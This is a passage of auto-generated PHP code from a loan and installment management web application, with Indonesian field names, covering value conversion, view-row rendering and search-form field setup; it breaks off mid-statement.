($this->Angsuran_Total->FormValue == $this->Angsuran_Total->CurrentValue && is_numeric(ew_StrToFloat($this->Angsuran_Total->CurrentValue)))\n\t\t\t$this->Angsuran_Total->CurrentValue = ew_StrToFloat($this->Angsuran_Total->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->Biaya_Administrasi->FormValue == $this->Biaya_Administrasi->CurrentValue && is_numeric(ew_StrToFloat($this->Biaya_Administrasi->CurrentValue)))\n\t\t\t$this->Biaya_Administrasi->CurrentValue = ew_StrToFloat($this->Biaya_Administrasi->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->Biaya_Materai->FormValue == $this->Biaya_Materai->CurrentValue && is_numeric(ew_StrToFloat($this->Biaya_Materai->CurrentValue)))\n\t\t\t$this->Biaya_Materai->CurrentValue = ew_StrToFloat($this->Biaya_Materai->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pd_Angsuran_Pokok->FormValue == $this->pd_Angsuran_Pokok->CurrentValue && is_numeric(ew_StrToFloat($this->pd_Angsuran_Pokok->CurrentValue)))\n\t\t\t$this->pd_Angsuran_Pokok->CurrentValue = ew_StrToFloat($this->pd_Angsuran_Pokok->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pd_Angsuran_Bunga->FormValue == $this->pd_Angsuran_Bunga->CurrentValue && is_numeric(ew_StrToFloat($this->pd_Angsuran_Bunga->CurrentValue)))\n\t\t\t$this->pd_Angsuran_Bunga->CurrentValue = ew_StrToFloat($this->pd_Angsuran_Bunga->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->pd_Angsuran_Total->FormValue == $this->pd_Angsuran_Total->CurrentValue && is_numeric(ew_StrToFloat($this->pd_Angsuran_Total->CurrentValue)))\n\t\t\t$this->pd_Angsuran_Total->CurrentValue = ew_StrToFloat($this->pd_Angsuran_Total->CurrentValue);\n\n\t\t// Call Row_Rendering event\n\t\t$this->Row_Rendering();\n\n\t\t// Common render codes for all row types\n\t\t// pinjaman_id\n\t\t// Kontrak_No\n\t\t// Kontrak_Tgl\n\t\t// nasabah_id\n\t\t// jaminan_id\n\t\t// Pinjaman\n\t\t// Angsuran_Lama\n\t\t// Angsuran_Bunga_Prosen\n\t\t// Angsuran_Denda\n\t\t// Dispensasi_Denda\n\t\t// Angsuran_Pokok\n\t\t// Angsuran_Bunga\n\t\t// Angsuran_Total\n\t\t// No_Ref\n\t\t// Biaya_Administrasi\n\t\t// Biaya_Materai\n\t\t// marketing_id\n\t\t// Periode\n\t\t// Macet\n\t\t// NasabahNama\n\t\t// NasabahAlamat\n\t\t// No_Telp_Hp\n\t\t// Pekerjaan\n\t\t// Pekerjaan_Alamat\n\t\t// Pekerjaan_No_Telp_Hp\n\t\t// Status\n\t\t// NasabahKeterangan\n\t\t// MarketingNama\n\t\t// MarketingAlamat\n\t\t// NoHP\n\t\t// AkhirKontrak\n\t\t// sudah_bayar\n\t\t// pd_Angsuran_Pokok\n\t\t// pd_Angsuran_Bunga\n\t\t// pd_Angsuran_Total\n\t\t// Tanggal_Bayar\n\t\t// umur_tunggakan\n\n\t\tif ($this->RowType == EW_ROWTYPE_VIEW) { // View row\n\n\t\t// pinjaman_id\n\t\t$this->pinjaman_id->ViewValue = $this->pinjaman_id->CurrentValue;\n\t\t$this->pinjaman_id->ViewCustomAttributes = \"\";\n\n\t\t// Kontrak_No\n\t\t$this->Kontrak_No->ViewValue = $this->Kontrak_No->CurrentValue;\n\t\t$this->Kontrak_No->ViewCustomAttributes = \"\";\n\n\t\t// Kontrak_Tgl\n\t\t$this->Kontrak_Tgl->ViewValue = $this->Kontrak_Tgl->CurrentValue;\n\t\t$this->Kontrak_Tgl->ViewValue = ew_FormatDateTime($this->Kontrak_Tgl->ViewValue, 0);\n\t\t$this->Kontrak_Tgl->ViewCustomAttributes = \"\";\n\n\t\t// nasabah_id\n\t\t$this->nasabah_id->ViewValue = $this->nasabah_id->CurrentValue;\n\t\t$this->nasabah_id->ViewCustomAttributes = \"\";\n\n\t\t// jaminan_id\n\t\t$this->jaminan_id->ViewValue = $this->jaminan_id->CurrentValue;\n\t\t$this->jaminan_id->ViewCustomAttributes = \"\";\n\n\t\t// Pinjaman\n\t\t$this->Pinjaman->ViewValue = $this->Pinjaman->CurrentValue;\n\t\t$this->Pinjaman->ViewCustomAttributes = \"\";\n\n\t\t// Angsuran_Lama\n\t\t$this->Angsuran_Lama->ViewValue = $this->Angsuran_Lama->CurrentValue;\n\t\t$this->Angsuran_Lama->ViewCustomAttributes = \"\";\n\n\t\t// Angsuran_Bunga_Prosen\n\t\t$this->Angsuran_Bunga_Prosen->ViewValue = $this->Angsuran_Bunga_Prosen->CurrentValue;\n\t\t$this->Angsuran_Bunga_Prosen->ViewCustomAttributes = \"\";\n\n\t\t// Angsuran_Denda\n\t\t$this->Angsuran_Denda->ViewValue = $this->Angsuran_Denda->CurrentValue;\n\t\t$this->Angsuran_Denda->ViewCustomAttributes = \"\";\n\n\t\t// Dispensasi_Denda\n\t\t$this->Dispensasi_Denda->ViewValue = $this->Dispensasi_Denda->CurrentValue;\n\t\t$this->Dispensasi_Denda->ViewCustomAttributes = \"\";\n\n\t\t// Angsuran_Pokok\n\t\t$this->Angsuran_Pokok->ViewValue = $this->Angsuran_Pokok->CurrentValue;\n\t\t$this->Angsuran_Pokok->ViewCustomAttributes = \"\";\n\n\t\t// Angsuran_Bunga\n\t\t$this->Angsuran_Bunga->ViewValue = $this->Angsuran_Bunga->CurrentValue;\n\t\t$this->Angsuran_Bunga->ViewCustomAttributes = \"\";\n\n\t\t// Angsuran_Total\n\t\t$this->Angsuran_Total->ViewValue = $this->Angsuran_Total->CurrentValue;\n\t\t$this->Angsuran_Total->ViewCustomAttributes = \"\";\n\n\t\t// No_Ref\n\t\t$this->No_Ref->ViewValue = $this->No_Ref->CurrentValue;\n\t\t$this->No_Ref->ViewCustomAttributes = \"\";\n\n\t\t// Biaya_Administrasi\n\t\t$this->Biaya_Administrasi->ViewValue = $this->Biaya_Administrasi->CurrentValue;\n\t\t$this->Biaya_Administrasi->ViewCustomAttributes = \"\";\n\n\t\t// Biaya_Materai\n\t\t$this->Biaya_Materai->ViewValue = $this->Biaya_Materai->CurrentValue;\n\t\t$this->Biaya_Materai->ViewCustomAttributes = \"\";\n\n\t\t// marketing_id\n\t\t$this->marketing_id->ViewValue = $this->marketing_id->CurrentValue;\n\t\t$this->marketing_id->ViewCustomAttributes = \"\";\n\n\t\t// Periode\n\t\t$this->Periode->ViewValue = $this->Periode->CurrentValue;\n\t\t$this->Periode->ViewCustomAttributes = \"\";\n\n\t\t// Macet\n\t\tif (ew_ConvertToBool($this->Macet->CurrentValue)) {\n\t\t\t$this->Macet->ViewValue = $this->Macet->FldTagCaption(1) <> \"\" ? $this->Macet->FldTagCaption(1) : \"Y\";\n\t\t} else {\n\t\t\t$this->Macet->ViewValue = $this->Macet->FldTagCaption(2) <> \"\" ? $this->Macet->FldTagCaption(2) : \"N\";\n\t\t}\n\t\t$this->Macet->ViewCustomAttributes = \"\";\n\n\t\t// NasabahNama\n\t\t$this->NasabahNama->ViewValue = $this->NasabahNama->CurrentValue;\n\t\t$this->NasabahNama->ViewCustomAttributes = \"\";\n\n\t\t// NasabahAlamat\n\t\t$this->NasabahAlamat->ViewValue = $this->NasabahAlamat->CurrentValue;\n\t\t$this->NasabahAlamat->ViewCustomAttributes = \"\";\n\n\t\t// No_Telp_Hp\n\t\t$this->No_Telp_Hp->ViewValue = $this->No_Telp_Hp->CurrentValue;\n\t\t$this->No_Telp_Hp->ViewCustomAttributes = \"\";\n\n\t\t// Pekerjaan\n\t\t$this->Pekerjaan->ViewValue = $this->Pekerjaan->CurrentValue;\n\t\t$this->Pekerjaan->ViewCustomAttributes = \"\";\n\n\t\t// Pekerjaan_Alamat\n\t\t$this->Pekerjaan_Alamat->ViewValue = $this->Pekerjaan_Alamat->CurrentValue;\n\t\t$this->Pekerjaan_Alamat->ViewCustomAttributes = \"\";\n\n\t\t// Pekerjaan_No_Telp_Hp\n\t\t$this->Pekerjaan_No_Telp_Hp->ViewValue = $this->Pekerjaan_No_Telp_Hp->CurrentValue;\n\t\t$this->Pekerjaan_No_Telp_Hp->ViewCustomAttributes = \"\";\n\n\t\t// Status\n\t\t$this->Status->ViewValue = $this->Status->CurrentValue;\n\t\t$this->Status->ViewCustomAttributes = \"\";\n\n\t\t// NasabahKeterangan\n\t\t$this->NasabahKeterangan->ViewValue = $this->NasabahKeterangan->CurrentValue;\n\t\t$this->NasabahKeterangan->ViewCustomAttributes = \"\";\n\n\t\t// MarketingNama\n\t\t$this->MarketingNama->ViewValue = $this->MarketingNama->CurrentValue;\n\t\t$this->MarketingNama->ViewCustomAttributes = \"\";\n\n\t\t// MarketingAlamat\n\t\t$this->MarketingAlamat->ViewValue = $this->MarketingAlamat->CurrentValue;\n\t\t$this->MarketingAlamat->ViewCustomAttributes = \"\";\n\n\t\t// NoHP\n\t\t$this->NoHP->ViewValue = $this->NoHP->CurrentValue;\n\t\t$this->NoHP->ViewCustomAttributes = \"\";\n\n\t\t// AkhirKontrak\n\t\t$this->AkhirKontrak->ViewValue = $this->AkhirKontrak->CurrentValue;\n\t\t$this->AkhirKontrak->ViewValue = ew_FormatDateTime($this->AkhirKontrak->ViewValue, 0);\n\t\t$this->AkhirKontrak->ViewCustomAttributes = \"\";\n\n\t\t// sudah_bayar\n\t\t$this->sudah_bayar->ViewValue = $this->sudah_bayar->CurrentValue;\n\t\t$this->sudah_bayar->ViewCustomAttributes = \"\";\n\n\t\t// pd_Angsuran_Pokok\n\t\t$this->pd_Angsuran_Pokok->ViewValue = $this->pd_Angsuran_Pokok->CurrentValue;\n\t\t$this->pd_Angsuran_Pokok->ViewCustomAttributes = \"\";\n\n\t\t// pd_Angsuran_Bunga\n\t\t$this->pd_Angsuran_Bunga->ViewValue = $this->pd_Angsuran_Bunga->CurrentValue;\n\t\t$this->pd_Angsuran_Bunga->ViewCustomAttributes = \"\";\n\n\t\t// pd_Angsuran_Total\n\t\t$this->pd_Angsuran_Total->ViewValue = $this->pd_Angsuran_Total->CurrentValue;\n\t\t$this->pd_Angsuran_Total->ViewCustomAttributes = \"\";\n\n\t\t// Tanggal_Bayar\n\t\t$this->Tanggal_Bayar->ViewValue = $this->Tanggal_Bayar->CurrentValue;\n\t\t$this->Tanggal_Bayar->ViewValue = ew_FormatDateTime($this->Tanggal_Bayar->ViewValue, 0);\n\t\t$this->Tanggal_Bayar->ViewCustomAttributes = \"\";\n\n\t\t// umur_tunggakan\n\t\t$this->umur_tunggakan->ViewValue = $this->umur_tunggakan->CurrentValue;\n\t\t$this->umur_tunggakan->ViewCustomAttributes = \"\";\n\n\t\t\t// pinjaman_id\n\t\t\t$this->pinjaman_id->LinkCustomAttributes = \"\";\n\t\t\t$this->pinjaman_id->HrefValue = \"\";\n\t\t\t$this->pinjaman_id->TooltipValue = \"\";\n\n\t\t\t// Kontrak_No\n\t\t\t$this->Kontrak_No->LinkCustomAttributes = \"\";\n\t\t\t$this->Kontrak_No->HrefValue = \"\";\n\t\t\t$this->Kontrak_No->TooltipValue = \"\";\n\n\t\t\t// Kontrak_Tgl\n\t\t\t$this->Kontrak_Tgl->LinkCustomAttributes = \"\";\n\t\t\t$this->Kontrak_Tgl->HrefValue = \"\";\n\t\t\t$this->Kontrak_Tgl->TooltipValue = \"\";\n\n\t\t\t// nasabah_id\n\t\t\t$this->nasabah_id->LinkCustomAttributes = \"\";\n\t\t\t$this->nasabah_id->HrefValue = \"\";\n\t\t\t$this->nasabah_id->TooltipValue = \"\";\n\n\t\t\t// jaminan_id\n\t\t\t$this->jaminan_id->LinkCustomAttributes = \"\";\n\t\t\t$this->jaminan_id->HrefValue = \"\";\n\t\t\t$this->jaminan_id->TooltipValue = \"\";\n\n\t\t\t// Pinjaman\n\t\t\t$this->Pinjaman->LinkCustomAttributes = \"\";\n\t\t\t$this->Pinjaman->HrefValue = \"\";\n\t\t\t$this->Pinjaman->TooltipValue = \"\";\n\n\t\t\t// Angsuran_Lama\n\t\t\t$this->Angsuran_Lama->LinkCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Lama->HrefValue = \"\";\n\t\t\t$this->Angsuran_Lama->TooltipValue = \"\";\n\n\t\t\t// Angsuran_Bunga_Prosen\n\t\t\t$this->Angsuran_Bunga_Prosen->LinkCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Bunga_Prosen->HrefValue = \"\";\n\t\t\t$this->Angsuran_Bunga_Prosen->TooltipValue = \"\";\n\n\t\t\t// Angsuran_Denda\n\t\t\t$this->Angsuran_Denda->LinkCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Denda->HrefValue = \"\";\n\t\t\t$this->Angsuran_Denda->TooltipValue = \"\";\n\n\t\t\t// Dispensasi_Denda\n\t\t\t$this->Dispensasi_Denda->LinkCustomAttributes = \"\";\n\t\t\t$this->Dispensasi_Denda->HrefValue = \"\";\n\t\t\t$this->Dispensasi_Denda->TooltipValue = \"\";\n\n\t\t\t// Angsuran_Pokok\n\t\t\t$this->Angsuran_Pokok->LinkCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Pokok->HrefValue = \"\";\n\t\t\t$this->Angsuran_Pokok->TooltipValue = \"\";\n\n\t\t\t// Angsuran_Bunga\n\t\t\t$this->Angsuran_Bunga->LinkCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Bunga->HrefValue = \"\";\n\t\t\t$this->Angsuran_Bunga->TooltipValue = \"\";\n\n\t\t\t// Angsuran_Total\n\t\t\t$this->Angsuran_Total->LinkCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Total->HrefValue = \"\";\n\t\t\t$this->Angsuran_Total->TooltipValue = \"\";\n\n\t\t\t// No_Ref\n\t\t\t$this->No_Ref->LinkCustomAttributes = \"\";\n\t\t\t$this->No_Ref->HrefValue = \"\";\n\t\t\t$this->No_Ref->TooltipValue = \"\";\n\n\t\t\t// Biaya_Administrasi\n\t\t\t$this->Biaya_Administrasi->LinkCustomAttributes = \"\";\n\t\t\t$this->Biaya_Administrasi->HrefValue = \"\";\n\t\t\t$this->Biaya_Administrasi->TooltipValue = \"\";\n\n\t\t\t// Biaya_Materai\n\t\t\t$this->Biaya_Materai->LinkCustomAttributes = \"\";\n\t\t\t$this->Biaya_Materai->HrefValue = \"\";\n\t\t\t$this->Biaya_Materai->TooltipValue = \"\";\n\n\t\t\t// marketing_id\n\t\t\t$this->marketing_id->LinkCustomAttributes = \"\";\n\t\t\t$this->marketing_id->HrefValue = \"\";\n\t\t\t$this->marketing_id->TooltipValue = \"\";\n\n\t\t\t// Periode\n\t\t\t$this->Periode->LinkCustomAttributes = \"\";\n\t\t\t$this->Periode->HrefValue = \"\";\n\t\t\t$this->Periode->TooltipValue = \"\";\n\n\t\t\t// Macet\n\t\t\t$this->Macet->LinkCustomAttributes = \"\";\n\t\t\t$this->Macet->HrefValue = \"\";\n\t\t\t$this->Macet->TooltipValue = \"\";\n\n\t\t\t// NasabahNama\n\t\t\t$this->NasabahNama->LinkCustomAttributes = \"\";\n\t\t\t$this->NasabahNama->HrefValue = \"\";\n\t\t\t$this->NasabahNama->TooltipValue = \"\";\n\n\t\t\t// NasabahAlamat\n\t\t\t$this->NasabahAlamat->LinkCustomAttributes = \"\";\n\t\t\t$this->NasabahAlamat->HrefValue = \"\";\n\t\t\t$this->NasabahAlamat->TooltipValue = \"\";\n\n\t\t\t// No_Telp_Hp\n\t\t\t$this->No_Telp_Hp->LinkCustomAttributes = \"\";\n\t\t\t$this->No_Telp_Hp->HrefValue = \"\";\n\t\t\t$this->No_Telp_Hp->TooltipValue = \"\";\n\n\t\t\t// Pekerjaan\n\t\t\t$this->Pekerjaan->LinkCustomAttributes = \"\";\n\t\t\t$this->Pekerjaan->HrefValue = \"\";\n\t\t\t$this->Pekerjaan->TooltipValue = \"\";\n\n\t\t\t// Pekerjaan_Alamat\n\t\t\t$this->Pekerjaan_Alamat->LinkCustomAttributes = \"\";\n\t\t\t$this->Pekerjaan_Alamat->HrefValue = \"\";\n\t\t\t$this->Pekerjaan_Alamat->TooltipValue = \"\";\n\n\t\t\t// Pekerjaan_No_Telp_Hp\n\t\t\t$this->Pekerjaan_No_Telp_Hp->LinkCustomAttributes = \"\";\n\t\t\t$this->Pekerjaan_No_Telp_Hp->HrefValue = \"\";\n\t\t\t$this->Pekerjaan_No_Telp_Hp->TooltipValue = \"\";\n\n\t\t\t// Status\n\t\t\t$this->Status->LinkCustomAttributes = \"\";\n\t\t\t$this->Status->HrefValue = \"\";\n\t\t\t$this->Status->TooltipValue = \"\";\n\n\t\t\t// NasabahKeterangan\n\t\t\t$this->NasabahKeterangan->LinkCustomAttributes = \"\";\n\t\t\t$this->NasabahKeterangan->HrefValue = \"\";\n\t\t\t$this->NasabahKeterangan->TooltipValue = \"\";\n\n\t\t\t// MarketingNama\n\t\t\t$this->MarketingNama->LinkCustomAttributes = \"\";\n\t\t\t$this->MarketingNama->HrefValue = \"\";\n\t\t\t$this->MarketingNama->TooltipValue = \"\";\n\n\t\t\t// MarketingAlamat\n\t\t\t$this->MarketingAlamat->LinkCustomAttributes = \"\";\n\t\t\t$this->MarketingAlamat->HrefValue = \"\";\n\t\t\t$this->MarketingAlamat->TooltipValue = \"\";\n\n\t\t\t// NoHP\n\t\t\t$this->NoHP->LinkCustomAttributes = \"\";\n\t\t\t$this->NoHP->HrefValue = \"\";\n\t\t\t$this->NoHP->TooltipValue = \"\";\n\n\t\t\t// AkhirKontrak\n\t\t\t$this->AkhirKontrak->LinkCustomAttributes = \"\";\n\t\t\t$this->AkhirKontrak->HrefValue = \"\";\n\t\t\t$this->AkhirKontrak->TooltipValue = \"\";\n\n\t\t\t// sudah_bayar\n\t\t\t$this->sudah_bayar->LinkCustomAttributes = \"\";\n\t\t\t$this->sudah_bayar->HrefValue = \"\";\n\t\t\t$this->sudah_bayar->TooltipValue = \"\";\n\n\t\t\t// pd_Angsuran_Pokok\n\t\t\t$this->pd_Angsuran_Pokok->LinkCustomAttributes = \"\";\n\t\t\t$this->pd_Angsuran_Pokok->HrefValue = \"\";\n\t\t\t$this->pd_Angsuran_Pokok->TooltipValue = \"\";\n\n\t\t\t// pd_Angsuran_Bunga\n\t\t\t$this->pd_Angsuran_Bunga->LinkCustomAttributes = \"\";\n\t\t\t$this->pd_Angsuran_Bunga->HrefValue = \"\";\n\t\t\t$this->pd_Angsuran_Bunga->TooltipValue = \"\";\n\n\t\t\t// pd_Angsuran_Total\n\t\t\t$this->pd_Angsuran_Total->LinkCustomAttributes = \"\";\n\t\t\t$this->pd_Angsuran_Total->HrefValue = \"\";\n\t\t\t$this->pd_Angsuran_Total->TooltipValue = \"\";\n\n\t\t\t// Tanggal_Bayar\n\t\t\t$this->Tanggal_Bayar->LinkCustomAttributes = \"\";\n\t\t\t$this->Tanggal_Bayar->HrefValue = \"\";\n\t\t\t$this->Tanggal_Bayar->TooltipValue = \"\";\n\n\t\t\t// umur_tunggakan\n\t\t\t$this->umur_tunggakan->LinkCustomAttributes = \"\";\n\t\t\t$this->umur_tunggakan->HrefValue = \"\";\n\t\t\t$this->umur_tunggakan->TooltipValue = \"\";\n\t\t} elseif ($this->RowType == EW_ROWTYPE_SEARCH) { // Search row\n\n\t\t\t// pinjaman_id\n\t\t\t$this->pinjaman_id->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->pinjaman_id->EditCustomAttributes = \"\";\n\t\t\t$this->pinjaman_id->EditValue = ew_HtmlEncode($this->pinjaman_id->AdvancedSearch->SearchValue);\n\t\t\t$this->pinjaman_id->PlaceHolder = ew_RemoveHtml($this->pinjaman_id->FldCaption());\n\n\t\t\t// Kontrak_No\n\t\t\t$this->Kontrak_No->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Kontrak_No->EditCustomAttributes = \"\";\n\t\t\t$this->Kontrak_No->EditValue = ew_HtmlEncode($this->Kontrak_No->AdvancedSearch->SearchValue);\n\t\t\t$this->Kontrak_No->PlaceHolder = ew_RemoveHtml($this->Kontrak_No->FldCaption());\n\n\t\t\t// Kontrak_Tgl\n\t\t\t$this->Kontrak_Tgl->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Kontrak_Tgl->EditCustomAttributes = \"\";\n\t\t\t$this->Kontrak_Tgl->EditValue = ew_HtmlEncode(ew_FormatDateTime(ew_UnFormatDateTime($this->Kontrak_Tgl->AdvancedSearch->SearchValue, 0), 8));\n\t\t\t$this->Kontrak_Tgl->PlaceHolder = ew_RemoveHtml($this->Kontrak_Tgl->FldCaption());\n\n\t\t\t// nasabah_id\n\t\t\t$this->nasabah_id->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->nasabah_id->EditCustomAttributes = \"\";\n\t\t\t$this->nasabah_id->EditValue = ew_HtmlEncode($this->nasabah_id->AdvancedSearch->SearchValue);\n\t\t\t$this->nasabah_id->PlaceHolder = ew_RemoveHtml($this->nasabah_id->FldCaption());\n\n\t\t\t// jaminan_id\n\t\t\t$this->jaminan_id->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->jaminan_id->EditCustomAttributes = \"\";\n\t\t\t$this->jaminan_id->EditValue = ew_HtmlEncode($this->jaminan_id->AdvancedSearch->SearchValue);\n\t\t\t$this->jaminan_id->PlaceHolder = ew_RemoveHtml($this->jaminan_id->FldCaption());\n\n\t\t\t// Pinjaman\n\t\t\t$this->Pinjaman->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Pinjaman->EditCustomAttributes = \"\";\n\t\t\t$this->Pinjaman->EditValue = ew_HtmlEncode($this->Pinjaman->AdvancedSearch->SearchValue);\n\t\t\t$this->Pinjaman->PlaceHolder = ew_RemoveHtml($this->Pinjaman->FldCaption());\n\n\t\t\t// Angsuran_Lama\n\t\t\t$this->Angsuran_Lama->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Angsuran_Lama->EditCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Lama->EditValue = ew_HtmlEncode($this->Angsuran_Lama->AdvancedSearch->SearchValue);\n\t\t\t$this->Angsuran_Lama->PlaceHolder = ew_RemoveHtml($this->Angsuran_Lama->FldCaption());\n\n\t\t\t// Angsuran_Bunga_Prosen\n\t\t\t$this->Angsuran_Bunga_Prosen->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Angsuran_Bunga_Prosen->EditCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Bunga_Prosen->EditValue = ew_HtmlEncode($this->Angsuran_Bunga_Prosen->AdvancedSearch->SearchValue);\n\t\t\t$this->Angsuran_Bunga_Prosen->PlaceHolder = ew_RemoveHtml($this->Angsuran_Bunga_Prosen->FldCaption());\n\n\t\t\t// Angsuran_Denda\n\t\t\t$this->Angsuran_Denda->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Angsuran_Denda->EditCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Denda->EditValue = ew_HtmlEncode($this->Angsuran_Denda->AdvancedSearch->SearchValue);\n\t\t\t$this->Angsuran_Denda->PlaceHolder = ew_RemoveHtml($this->Angsuran_Denda->FldCaption());\n\n\t\t\t// Dispensasi_Denda\n\t\t\t$this->Dispensasi_Denda->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Dispensasi_Denda->EditCustomAttributes = \"\";\n\t\t\t$this->Dispensasi_Denda->EditValue = ew_HtmlEncode($this->Dispensasi_Denda->AdvancedSearch->SearchValue);\n\t\t\t$this->Dispensasi_Denda->PlaceHolder = ew_RemoveHtml($this->Dispensasi_Denda->FldCaption());\n\n\t\t\t// Angsuran_Pokok\n\t\t\t$this->Angsuran_Pokok->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Angsuran_Pokok->EditCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Pokok->EditValue = ew_HtmlEncode($this->Angsuran_Pokok->AdvancedSearch->SearchValue);\n\t\t\t$this->Angsuran_Pokok->PlaceHolder = ew_RemoveHtml($this->Angsuran_Pokok->FldCaption());\n\n\t\t\t// Angsuran_Bunga\n\t\t\t$this->Angsuran_Bunga->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Angsuran_Bunga->EditCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Bunga->EditValue = ew_HtmlEncode($this->Angsuran_Bunga->AdvancedSearch->SearchValue);\n\t\t\t$this->Angsuran_Bunga->PlaceHolder = ew_RemoveHtml($this->Angsuran_Bunga->FldCaption());\n\n\t\t\t// Angsuran_Total\n\t\t\t$this->Angsuran_Total->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Angsuran_Total->EditCustomAttributes = \"\";\n\t\t\t$this->Angsuran_Total->EditValue = ew_HtmlEncode($this->Angsuran_Total->AdvancedSearch->SearchValue);\n\t\t\t$this->Angsuran_Total->PlaceHolder = ew_RemoveHtml($this->Angsuran_Total->FldCaption());\n\n\t\t\t// No_Ref\n\t\t\t$this->No_Ref->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->No_Ref->EditCustomAttributes = \"\";\n\t\t\t$this->No_Ref->EditValue = ew_HtmlEncode($this->No_Ref->AdvancedSearch->SearchValue);\n\t\t\t$this->No_Ref->PlaceHolder = ew_RemoveHtml($this->No_Ref->FldCaption());\n\n\t\t\t// Biaya_Administrasi\n\t\t\t$this->Biaya_Administrasi->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Biaya_Administrasi->EditCustomAttributes = \"\";\n\t\t\t$this->Biaya_Administrasi->EditValue = ew_HtmlEncode($this->Biaya_Administrasi->AdvancedSearch->SearchValue);\n\t\t\t$this->Biaya_Administrasi->PlaceHolder = ew_RemoveHtml($this->Biaya_Administrasi->FldCaption());\n\n\t\t\t// Biaya_Materai\n\t\t\t$this->Biaya_Materai->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Biaya_Materai->EditCustomAttributes = \"\";\n\t\t\t$this->Biaya_Materai->EditValue = ew_HtmlEncode($this->Biaya_Materai->AdvancedSearch->SearchValue);\n\t\t\t$this->Biaya_Materai->PlaceHolder = ew_RemoveHtml($this->Biaya_Materai->FldCaption());\n\n\t\t\t// marketing_id\n\t\t\t$this->marketing_id->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->marketing_id->EditCustomAttributes = \"\";\n\t\t\t$this->marketing_id->EditValue = ew_HtmlEncode($this->marketing_id->AdvancedSearch->SearchValue);\n\t\t\t$this->marketing_id->PlaceHolder = ew_RemoveHtml($this->marketing_id->FldCaption());\n\n\t\t\t// Periode\n\t\t\t$this->Periode->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Periode->EditCustomAttributes = \"\";\n\t\t\t$this->Periode->EditValue = ew_HtmlEncode($this->Periode->AdvancedSearch->SearchValue);\n\t\t\t$this->Periode->PlaceHolder = ew_RemoveHtml($this->Periode->FldCaption());\n\n\t\t\t// Macet\n\t\t\t$this->Macet->EditCustomAttributes = \"\";\n\t\t\t$this->Macet->EditValue = $this->Macet->Options(FALSE);\n\n\t\t\t// NasabahNama\n\t\t\t$this->NasabahNama->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->NasabahNama->EditCustomAttributes = \"\";\n\t\t\t$this->NasabahNama->EditValue = ew_HtmlEncode($this->NasabahNama->AdvancedSearch->SearchValue);\n\t\t\t$this->NasabahNama->PlaceHolder = ew_RemoveHtml($this->NasabahNama->FldCaption());\n\n\t\t\t// NasabahAlamat\n\t\t\t$this->NasabahAlamat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->NasabahAlamat->EditCustomAttributes = \"\";\n\t\t\t$this->NasabahAlamat->EditValue = ew_HtmlEncode($this->NasabahAlamat->AdvancedSearch->SearchValue);\n\t\t\t$this->NasabahAlamat->PlaceHolder = ew_RemoveHtml($this->NasabahAlamat->FldCaption());\n\n\t\t\t// No_Telp_Hp\n\t\t\t$this->No_Telp_Hp->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->No_Telp_Hp->EditCustomAttributes = \"\";\n\t\t\t$this->No_Telp_Hp->EditValue = ew_HtmlEncode($this->No_Telp_Hp->AdvancedSearch->SearchValue);\n\t\t\t$this->No_Telp_Hp->PlaceHolder = ew_RemoveHtml($this->No_Telp_Hp->FldCaption());\n\n\t\t\t// Pekerjaan\n\t\t\t$this->Pekerjaan->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Pekerjaan->EditCustomAttributes = \"\";\n\t\t\t$this->Pekerjaan->EditValue = ew_HtmlEncode($this->Pekerjaan->AdvancedSearch->SearchValue);\n\t\t\t$this->Pekerjaan->PlaceHolder = ew_RemoveHtml($this->Pekerjaan->FldCaption());\n\n\t\t\t// Pekerjaan_Alamat\n\t\t\t$this->Pekerjaan_Alamat->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Pekerjaan_Alamat->EditCustomAttributes = \"\";\n\t\t\t$this->Pekerjaan_Alamat->EditValue = ew_HtmlEncode($this->Pekerjaan_Alamat->AdvancedSearch->SearchValue);\n\t\t\t$this->Pekerjaan_Alamat->PlaceHolder = ew_RemoveHtml($this->Pekerjaan_Alamat->FldCaption());\n\n\t\t\t// Pekerjaan_No_Telp_Hp\n\t\t\t$this->Pekerjaan_No_Telp_Hp->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->Pekerjaan_No_Telp_Hp->EditCustomAttributes = \"\";\n\t\t\t$this->Pekerjaan_No_Telp_Hp->EditValue = ew_HtmlEncode($this->Pekerjaan_No_Telp_Hp->AdvancedSearch->SearchValue);\n\t\t\t$this->Pekerjaan_No_Telp_Hp->PlaceHolder = 